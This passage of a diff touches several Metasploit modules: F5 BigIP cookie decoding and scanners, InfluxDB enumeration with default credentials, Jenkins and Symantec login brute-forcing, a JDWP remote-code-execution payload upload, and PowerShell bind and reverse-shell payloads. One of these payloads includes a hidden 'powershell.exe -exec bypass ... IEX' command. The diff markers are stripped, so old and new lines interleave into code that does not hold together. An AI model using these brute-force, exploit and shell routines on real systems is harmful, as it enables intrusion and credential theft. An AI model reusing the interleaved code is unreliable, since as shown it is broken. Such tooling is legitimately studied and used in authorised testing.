# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
|
||||
|
||||
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
|
||||
cookie[:id] = m.nil? ? nil : m[1]
|
||||
cookie[:value] = m.nil? ? nil : m[2]
|
||||
end
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
|
||||
|
||||
regexp = /
|
||||
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
|
||||
(rd\d+o0{20}f{4}\w+o\d{1,5})|
|
||||
(vi([a-f0-9]{32})\.(\d{1,5}))|
|
||||
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
|
||||
(?:$|,|;|\s)
|
||||
/x
|
||||
m = res.get_cookies.match(regexp)
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
end
|
||||
cookie
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['REQUESTS'] > 0
|
||||
print_error("Please, configure more than 0 REQUESTS")
|
||||
return
|
||||
end
|
||||
|
||||
back_ends = []
|
||||
requests = datastore['REQUESTS']
|
||||
backends = []
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("#{peer} - Starting request #{@uri}")
|
||||
|
||||
for i in 0...datastore['REQUESTS']
|
||||
cookie = get_cookie() # Get the cookie
|
||||
(1..requests).each do |i|
|
||||
cookie = get_cookie # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 BigIP load balancing cookie not found")
|
||||
break
|
||||
return
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 0
|
||||
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if i == 1
|
||||
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('!')
|
||||
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
|
||||
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
end
|
||||
|
||||
back_end = cookie_decode(cookie[:value])
|
||||
unless back_end.nil? || back_ends.include?(back_end)
|
||||
print_status("#{peer} - Backend #{back_end} found")
|
||||
back_ends.push(back_end)
|
||||
backend = cookie_decode(cookie[:value])
|
||||
unless backend[:host].nil? || backends.include?(backend)
|
||||
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
|
||||
backends.push(backend)
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting found backends in database
|
||||
unless back_ends.empty?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "f5_load_balancer_backends",
|
||||
:data => back_ends
|
||||
)
|
||||
unless backends.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
|
||||
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
|
||||
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
|
||||
on the BigIP system version.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
|
||||
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
def bigip_http?(ip, port, ssl)
|
||||
begin
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'rport' => port,
|
||||
'SSL' => ssl,
|
||||
},
|
||||
datastore['TIMEOUT'])
|
||||
return false unless res
|
||||
server = res.headers['Server']
|
||||
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_error("#{ip}:#{port} - Connection refused")
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{ip}:#{port} - Connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
print_error('PORTS options is invalid')
|
||||
return
|
||||
end
|
||||
|
||||
ports.each do |port|
|
||||
|
||||
unless port == 443 # Skip http check for 443
|
||||
if bigip_http?(ip, port, false)
|
||||
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
unless port == 80 # Skip https check for 80
|
||||
if bigip_http?(ip, port, true)
|
||||
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,95 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 Networks Devices Management Interface Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for web management interfaces of the following F5 Networks devices:
|
||||
BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def port_open?
|
||||
begin
|
||||
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
|
||||
return true if res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("#{peer} - Connection refused")
|
||||
return false
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return false
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{peer} - SSL/TLS connection error")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
return unless port_open?
|
||||
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/')
|
||||
if res && res.code == 200
|
||||
|
||||
# Detect BigIP management interface
|
||||
if res.body =~ /<title>BIG\-IP/
|
||||
print_good("#{peer} - F5 BigIP web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect EM management interface
|
||||
if res.body =~ /<title>Enterprise Manager/
|
||||
print_good("#{peer} - F5 Enterprise Manager web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect ARX management interface
|
||||
if res.body =~ /<title>F5 ARX Manager Login<\/title>/
|
||||
print_good("#{peer} - ARX web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Detect BigIQ management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/')
|
||||
if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/
|
||||
print_good("#{peer} - F5 BigIQ web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect FirePass management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport)
|
||||
if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/
|
||||
print_good("#{peer} - F5 FirePass web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'InfluxDB Enum Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates databases on InfluxDB using the REST API
|
||||
(using default authentication - root:root).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://influxdb.com/docs/v0.9/concepts/reading_and_writing_data.html']
|
||||
],
|
||||
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8086),
|
||||
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'root']),
|
||||
OptString.new('PASSWORD', [true, 'The password to login with', 'root'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error, ::EOFError, ::IOError => e
|
||||
print_error("#{peer} - The following Error was encountered: #{e.class}")
|
||||
return
|
||||
end
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - Server did not respond in an expected way.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 401 && res.body =~ /Invalid username\/password/
|
||||
print_error("#{peer} - Failed to authenticate. Invalid username/password.")
|
||||
return
|
||||
elsif res.code == 200 && res.headers.include?('X-Influxdb-Version') && res.body.length > 0
|
||||
print_status("#{peer} - Enumerating...")
|
||||
begin
|
||||
temp = JSON.parse(res.body)
|
||||
if temp.blank?
|
||||
print_status("#{peer} - Json data is empty")
|
||||
return
|
||||
end
|
||||
results = JSON.pretty_generate(temp)
|
||||
rescue JSON::ParserError
|
||||
print_error("#{peer} - Unable to parse JSON data.")
|
||||
return
|
||||
end
|
||||
print_good("Found:\n\n#{results}\n")
|
||||
path = store_loot(
|
||||
'influxdb.enum',
|
||||
'text/plain',
|
||||
rhost,
|
||||
results,
|
||||
'InfluxDB Enum'
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -23,6 +23,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/j_acegi_security_check']),
|
||||
OptEnum.new('HTTP_METHOD', [true, 'The HTTP method to use for the login', 'POST', ['GET', 'POST']]),
|
||||
Opt::RPORT(8080)
|
||||
], self.class)
|
||||
|
||||
|
@ -44,6 +46,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
|
||||
configure_http_login_scanner(
|
||||
uri: datastore['LOGIN_URL'],
|
||||
method: datastore['HTTP_METHOD'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
|
|
|
@ -32,33 +32,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
|
||||
# Initializes CredentialCollection and SymantecWebGateway
|
||||
def init(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
def scanner(ip)
|
||||
@scanner ||= lambda {
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
return Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
))
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
# Reports a good login credential
|
||||
def do_report(ip, port, result)
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
|
@ -86,39 +85,34 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute :level => :verror, :ip => ip, :msg => result.proof
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -126,9 +120,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
init(ip)
|
||||
unless @scanner.check_setup
|
||||
print_brute :level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway'
|
||||
unless scanner(ip).check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway')
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -27,7 +27,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]),
|
||||
OptBool.new('SHOW_ERRORS', [ true, 'Show error messages relating to grabbing titles on the console', true ]),
|
||||
OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ])
|
||||
OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]),
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('VHOST')
|
||||
|
@ -45,8 +46,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
# Send a normal GET request
|
||||
res = send_request_cgi(
|
||||
uri: '/',
|
||||
method: 'GET'
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
# If no response, quit now
|
||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
SETSTATICVALUES_SIG = [3, 2]
|
||||
INVOKESTATICMETHOD_SIG = [3, 3]
|
||||
CREATENEWINSTANCE_SIG = [3, 4]
|
||||
ARRAYNEWINSTANCE_SIG = [4, 1]
|
||||
REFERENCETYPE_SIG = [9, 1]
|
||||
INVOKEMETHOD_SIG = [9, 6]
|
||||
STRINGVALUE_SIG = [10, 1]
|
||||
|
@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
THREADSUSPEND_SIG = [11, 2]
|
||||
THREADRESUME_SIG = [11, 3]
|
||||
THREADSTATUS_SIG = [11, 4]
|
||||
ARRAYSETVALUES_SIG = [13, 3]
|
||||
EVENTSET_SIG = [15, 1]
|
||||
EVENTCLEAR_SIG = [15, 2]
|
||||
EVENTCLEARALL_SIG = [15, 3]
|
||||
|
@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Reads packet response for JDWP protocol
|
||||
def read_reply(timeout = default_timeout)
|
||||
response = sock.get_once(-1, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||
pktlen, id, flags, errcode = response.unpack('NNCn')
|
||||
response.slice!(0..10)
|
||||
if errcode != 0 && flags == REPLY_PACKET_TYPE
|
||||
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
|
||||
length = sock.get_once(4, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
|
||||
pkt_len = length.unpack('N')[0]
|
||||
if pkt_len < 4
|
||||
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
|
||||
end
|
||||
pkt_len = pkt_len - 4
|
||||
|
||||
response = sock.get_once(pkt_len, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||
while response.length < pkt_len
|
||||
partial = sock.get_once(pkt_len, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
|
||||
response << partial
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
|
||||
|
||||
id, flags, err_code = response.unpack('NCn')
|
||||
response.slice!(0..6)
|
||||
if err_code != 0 && flags == REPLY_PACKET_TYPE
|
||||
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
|
@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
||||
end
|
||||
|
||||
def is_java_eight
|
||||
version.downcase =~ /1[.]8[.]/
|
||||
end
|
||||
|
||||
# Returns reference for all threads currently running on target VM
|
||||
def get_all_threads
|
||||
sock.put(create_packet(ALLTHREADS_SIG))
|
||||
|
@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
buf
|
||||
end
|
||||
|
||||
# Creates a byte[]
|
||||
def create_array(len)
|
||||
target_class = get_class_by_name("[B")
|
||||
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
|
||||
|
||||
type_id = target_class["reftype_id"]
|
||||
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
|
||||
|
||||
data = format(@vars["referencetypeid_size"], type_id)
|
||||
data << [len].pack('N')
|
||||
|
||||
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Initializes the byte[] with values
|
||||
def set_values(obj_id, args = [])
|
||||
data = format(@vars["objectid_size"], obj_id)
|
||||
data << [0].pack('N')
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << [arg].pack('C')
|
||||
end
|
||||
|
||||
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
def temp_path
|
||||
return nil unless datastore['TMP_PATH']
|
||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||
|
@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Stores the payload on a new string created in target VM
|
||||
def upload_payload(thread_id, pl_exe)
|
||||
size = @vars["objectid_size"]
|
||||
if is_java_eight
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
else
|
||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
|
||||
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
end
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
|
||||
decoder = unformat(size, buf[1..1+size-1])
|
||||
if decoder.nil? || decoder == 0
|
||||
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
|
||||
end
|
||||
|
||||
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
|
||||
if cmd_obj_ids.length == 0
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
||||
end
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
|
||||
if is_java_eight
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
|
||||
else
|
||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
|
||||
end
|
||||
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_ARRAY].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
|
||||
end
|
||||
buf = create_array(pl_exe.length)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
|
||||
|
||||
pl = unformat(size, buf[1..1+size-1])
|
||||
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
|
||||
|
||||
set_values(pl, pl_exe.bytes)
|
||||
pl
|
||||
end
|
||||
|
||||
|
|
|
@ -4,26 +4,28 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1342
|
||||
CachedSize = 1510
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
||||
'Description' => 'Interacts with a powershell session on an established socket connection',
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -32,46 +34,15 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
'Payload' => { 'Payload' => '' }
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
register_options( [
|
||||
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,13 +5,16 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1342
|
||||
CachedSize = 1518
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -29,7 +32,7 @@ module Metasploit3
|
|||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
